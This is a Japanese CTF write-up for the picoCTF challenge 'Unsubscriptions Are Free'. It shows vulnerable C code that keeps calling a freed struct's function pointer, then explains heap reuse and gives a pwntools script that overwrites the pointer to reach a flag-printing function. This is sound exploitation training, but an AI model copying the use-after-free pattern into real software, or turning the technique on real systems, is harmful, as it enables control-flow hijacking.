Unsubscriptions Are Free
tl;dr¶
Use After Free
プログラム¶
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr(){
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
fprintf(stdout,"%s\n",buf);
fflush(stdout);
}
char * getsline(void) {
getchar();
char * line = malloc(100), * linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if(line == NULL)
return NULL;
for(;;) {
c = fgetc(stdin);
if(c == EOF)
break;
if(--len == 0) {
len = lenmax;
char * linen = realloc(linep, lenmax *= 2);
if(linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
void s(){
printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p(){
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m(){
puts("Account created.");
}
void leaveMessage(){
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*)malloc(8);
read(0, msg, 8);
}
void i(){
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if(toupper(response)=='Y'){
puts("Bye!");
free(user);
}else{
puts("Ok. Get premium membership please!");
}
}
void printMenu(){
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput(){
scanf(" %c", &choice);
choice = toupper(choice);
switch(choice){
case 'S':
if(user){
user->whatToDo = (void*)s;
}else{
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*)p;
break;
case 'I':
user->whatToDo = (void*)i;
break;
case 'M':
user->whatToDo = (void*)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}
int main(){
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while(1){
printMenu();
processInput();
//if(user){
doProcess(user);
//}
}
return 0;
}
解法¶
free
をした後も doProcess(user)
を実行しているのが問題です。このように、free した後もその変数を使う事を Use After Free と言い、危険です。
leaveMessage
で確保されるメモリのサイズは user
と同じ 8 バイトであるため、アカウントを消した直後で確保される入力先のアドレスは user
と同じです。
user message
+-----------+ +-----------+
| *whatToDo | | †danger!† |
+-----------+ +-----------+
| *username | | hogehoge |
+-----------+ +-----------+
そして、入力した後に doProcess(user)
が待っています。8 バイトの内前半 4 バイトは関数ポインタ whatToDo
であるため、任意のアドレスに実行を移す事ができます。
今回は hahaexploitgobrrr
が FLAG を出力してくれるため、これを呼び出す事にしましょう。
from pwn import *
elf=ELF("./vuln")
#p=process("./vuln")
p=remote("mercury.picoctf.net",61817)
p.sendline(b"M") # Create Account
p.sendline(b"")
p.sendline(b"I") # Delete Account
p.sendline(b"Y")
p.sendline(b"l") # Leave Message
import time
time.sleep(1)
p.sendline(p32(elf.symbols['hahaexploitgobrrr']))
p.interactive()
最終更新日: 2021年4月8日